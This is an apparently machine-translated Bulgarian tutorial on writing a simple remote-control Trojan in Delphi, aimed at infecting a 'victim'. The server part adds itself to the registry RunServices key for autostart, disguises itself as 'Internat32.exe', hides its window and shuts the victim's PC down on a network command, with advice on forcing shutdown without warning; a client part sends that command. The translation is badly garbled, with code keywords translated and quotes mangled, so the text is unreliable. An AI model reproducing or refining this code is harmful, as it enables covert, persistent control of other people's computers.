Как да създадете троянски
Как да създадете TROJAN!
За простота, тялото ще го направим в Делфи.
Пригответе се, ще пиша само два завоя. Един ще бъде разположен на вашата машина (клиента), а другият ще трябва да се хвърлят на жертвата (сървъра). Работата ще бъде много, така че колкото по-малко думи, а по-близо до тялото.
Trojan сървър:
Така че, тече Delphi или ако вече работи, създаване на нов проект ( «File» - «New Application»). Ние сега ще поеме страната на сървъра на троянски.
За да започнете, изберете опцията в менюто «Настройки» на «Проект» менюто. там е прозорец пред вас, както е показано на фигура 1.
Тук трябва да се движат «От 1» раздел на «Auto-Създаване на форми» (списъка в ляво) в «Налични начини» (в списъка вдясно), както се прави с мен. Само че ние изключвани От 1 инициализира от списък с коли форми. Сега, инициализация ще трябва да се направи на ръка. Не се страхувай, това е много проста.
На страница «Заявление» на има същия диалог «зареди иконата» бутон. Кликнете върху нея, за да промените иконата до коляно. Ако иконата не се променя, тя ще бъде използвана delfyachaya и тя бързо ще даде своя смъртоносно оръжие.
Сега трябва да се хвърлят върху компонента форма ServerSocket на «Интернет» секция е сървъра протокол (TCP по подразбиране, и ние я имаме достатъчно). Марк създаден ServerSocket1 и отидете на ObjectInspector. Само «Port» имота се интересувате от тук. По подразбиране е 1024, но аз ви съветвам да го смените с друг (за предпочитане повече от 1000).
Сега кликнете мода навсякъде по формата, за да активирате неговите свойства. Отиди ObjectInspector и кликнете върху раздела Събития. Кликнете два пъти върху модата на «OnCreate» линия, и Delphi, както винаги, ще се създаде процедура, тя ще бъде изпълнена при инициализиране форма. Напиши го, както следва:
процедура TForm1.FormCreate (Sender: TObject);
Var Regini: TRegIniFile;
започвам
Regini: = TRegIniFile.Create ( "" софтуер " ');
RegIni.RootKey: = HKEY_LOCAL_MACHINE;
RegIni.OpenKey ( "" Софтуер "," вярно);
RegIni.OpenKey ( '' Microsoft '', вярно);
RegIni.OpenKey ( '' Windows '', вярно);
RegIni.OpenKey ( '' CurrentVersion '', вярно);
RegIni.WriteString ( '' RunServices '', '' Internat32.exe '',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
приключи;
Сега отидете в началото на текста и напишете след «употреби» думата «регистър». Ние сме направили тази операция в статията за мега играч, но пак повтарям, това ще изглежда така:
използва регистър, Windows, Съобщения,
Сега ще обясня какво сме написали в процедурата.
«Var Regini: TRegIniFile» - тук сме декларирали променлива от тип Regini TRegIniFile. С помощта на тази променлива ще комуникира с системния регистър.
«Regini: = TRegIniFile.Create (" "Софтуер", ")» - инициализира променлива, показваща регистър.
«RegIni.RootKey: = HKEY_LOCAL_MACHINE» се каже, че ние се интересуваме от ключа на системния регистър HKEY_CURRENT_USER.
«RegIni.OpenKey (" "Софтуер", "вярно)» - отворен подраздел «Софтуер».
След това отворете под-серията, което прави пътя си в недрата на прозорците.
«RegIni.WriteString ( '' RunServices '', '' Internat32.exe '', Application.ExeName)" - е записано в секцията "RunServices" (в този раздел съхранява една програма, която се зарежда автоматично при стартиране), нова опция на име " Internat32.exe »(бъдещ файл) и стойност Application.ExeName (тук държат пълния път до течаща Троян).
«RegIni.Free» - изтрийте ненужните вече Regini обект.
Всичко това е направено, че когато дадена програма се стартира, тя самата е предписано в раздела за стартиране. И това автоматично се зарежда в паметта, когато компютърът се рестартира.
Най-новата поредица «ServerSocket1.Active:=true» стартира сървъра на посочения ви пристанището.
Със зареждането приключи. Сега нека zaymomsya разтоварване. Отново Марк форма и в раздела Събития в ObjectInspector и върху модата два пъти върху «OnDistroy» линия. Сега това ще се създаде процедура, която ще бъде извършена в унищожаването на формата. Установения ред за записване:
процедура TForm1.FormDistroy (Sender: TObject; Var действие: TCloseAction);
започвам
ServerSocket1.Active:=false;
приключи;
Това не съм свързан с даден сървър. Ако не, тогава, веднага след като рестартирате жертва да хванете синия екран, ако сте в този момент ще бъдат свързани със сървъра. От една страна, това е добре. Вашият жертва отново е убеден в лошо сигурността на своите прозорци. И от друга страна, аз не мисля, че трябва да се прави на предварително. Особено, че син екран след рестарт може да спре, а ние нямаме нужда от него (гледаме напред и да кажа, че ние ще се претоварвайте компютъра на жертвата).
Сега трябва да изберете ServerSocket1 и отидете в раздела Събития в ObjectInspector-а. Кликнете два пъти върху модата на «OnClientRead» ред и установена процедура (тя ще се нарича, когато нещо идва на порт) Напиши:
процедура TForm1.ServerSocket1ClientRead (Sender: TObject;
Гнездо: TCustomWinSocket);
започвам
ако Socket.ReceiveText = '' R ' "и след това
ExitWindowsEx (EWX_SHUTDOWN, 0);
приключи;
Сега, колкото звучи в езика ни:
Ако полученият текст = писмо "R" на
Изпрати на компютъра в redaun.
ExitWindowsEx - redaun направи прозорци се търкалят нагоре и изключете компютъра от захранването. Аз правя добро момче, така че използва EWX_SHUTDOWN опция. С тази опция, преди redaunom всички стартирани приложения летят молба е изключен и жертвата ще бъде в състояние да спаси променените данни. Ако имате яростно, а след това използвайте EWX_FORCE. В този случай, компютърът ще падне без предупреждение и със скоростта на светлината, така че жертвата не разполага с време, за да се боят въздух грабеж :).
Троян е почти готов, освен това. За да направите това, изберете «Запазване Всички» на «File» менюто. От началото на Delphi име форма за запитване. Оставете по подразбиране (Unit1) и натиснете "Запис". Тогава няма да има искане за името на проекта, който ще бъде използван като името на файла EXE. Обади му «Internat32», така че той да не предизвиква подозрение.
Конюшни за кон:
Сега ще трябва да се скрие бъдещата си horoshenechko кон, така че не се виждаше в лентата на задачите. За да направите това, изберете «Ръководител на проекта» меню на «View» менюто. Преди да отворите прозореца, както е показано на фигура 2.
Щракнете с десния бутон върху модата Internat32.exe и от менюто изберете "View Source". Преди да отворите малък файл с изходен код на проекта. Сравнете това, което виждате с този текст, както и за пълнене какво липсва и какво е твърде много - отнемат (така не прекалено много):
употреби
форми,
Windows.
Unit1 в '' Unit1.pas '';
Var
WhEvent: THandle;
започвам
Application.Initialize;
ShowWindow (Application.Handle, SW_Hide);
Form1: = TForm1.Create (нула);
Application.Run;
WhEvent: = CreateEvent (нула, вярно, фалшива "," ЕТ " ');
докато (вярно) направи
започвам
WaitForSingleObject (WhEvent, 1000);
Application.ProcessMessages;
приключи;
край.
Бъдете внимателни при копиране. Всичко трябва да е 12:59. Сега аз ще ви кажа какво е написано тук:
В началото, няма нищо интересно, а ние имаме абсолютно никакви притеснения. Ние се интересуваме от всичко, което е написано след думата «Var».
WhEvent: THandle - Това казвам, че имам нужда от WhEvent указател към празен събитие Thandle.
Application.Initialize - инициализира троянеца.
ShowWindow (Application.Handle, SW_Hide) - задава параметрите на прозореца. Параметър SW_Hide - казва, че прозорецът трябва да се вижда. Единственият начин след това можете да видите, е да натиснете Ctrl + Alt + Del. Но тук, ние не се използва, за да предизвика подозрения (само кана професионалистите отдавна знаят за това име) име.
Form1: = TForm1.Create (нула) - създаване на форма. Аз трябва да направи това, защото ние сме отстранени под формата на списък с автомобили, произведени.
Application.Run - стартиране на троянския кон. обработват събитие се управляват тук и такива неща, което е отговорност на Delphi и които ще трябва да пиша на ръка в C или C ++. Но тук всичко е много просто.
WhEvent: = CreateEvent (нула, вярно, фалшива "," ЕТ "") - инициализира празен събитие.
През следващите пет линии, ще пишат думите, а вие ще се занимава както винаги в сравнение:
Докато (истина) да изпълнява
започнете цикъла
Изчакайте, докато събитието се случи (празен събитие 1000 милисекунди)
поеме контрола
пълен цикъл
Две линии между началото и края на цикъла ще работят за неопределено време, защото вярно е винаги вярно, и тази версия не е цикъл. Целия цикъл zaklyuchaetsya две функции:
1. писти чака несъществуваща събитие. Тъй като няма събитие, след което програмата го prozhdot точно определено време като втори параметър (1000 милисекунди или 1 секунда).
2. управление получи.
След втория етап на програмата ще се върне в параграф 1 и да започне да чака. Докато очаква потребителят работи с други приложения, както обикновено. Когато Троян (всеки 1 секунда) се прехвърля в управлението, нашият кон проверка: има ли съобщение за него. В този случай, съобщението може да бъде едно нещо - идва в екипа за управление, който сте посочили порт. Ако съобщението е, троянецът ги изпълнява. И в никакъв случай (има доклади или не), тогава той ще работи отново за 1 секунда без никакви проблеми. Проверка се извършва толкова бързо, че жертвата не усеща тежестта на Троянската дори с четири стотни от камък.
Сега към частта от клиента, който ще трябва да се изпълни на вашия компютър, за да контролирате компютъра на жертвата.
Троянски конник:
Отново, запишете всички промени и да се създаде нов проект. Това е време да пиша клиентската част на троянеца. Само на няколко минути от упорита работа и всичко нашата красива :).
Нов проект ще трябва да се откажат от трите компонента:
1. Бутон от «Стандарт» раздела за изпращане на команди към компютъра на жертвата.
3. ClientSocket на отметките «Интернет» порт на клиента да установи връзка със сървъра
Вижте Фигура 3, трябва да имате нещо подобно.
Mark ClientSocket1 и ObjectInspector-д модифицират свойствата на пристанището. По подразбиране е 0, но трябва да се сложи на този, който ще зададете на сървъра.
Сега кликнете два пъти върху модата бутон и да се създаде процедура (манипулатора натискане) пише следното.
процедура TForm1.Button1Click (Sender: TObject);
започвам
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText ( "" R " ');
ClientSocket1.Active:=false;
приключи;
ClientSocket1.Active:=true - активиране на връзката към сървъра.
ClientSocket1.Socket.SendText ( '' R '') - за да изпратите писмо R. Знаеш ли, имахме преди няколко минути. Ако сървърът получава писмо R, то ще претоварвайте машината.
ClientSocket1.Active:=false - прекъснете връзката със сървъра.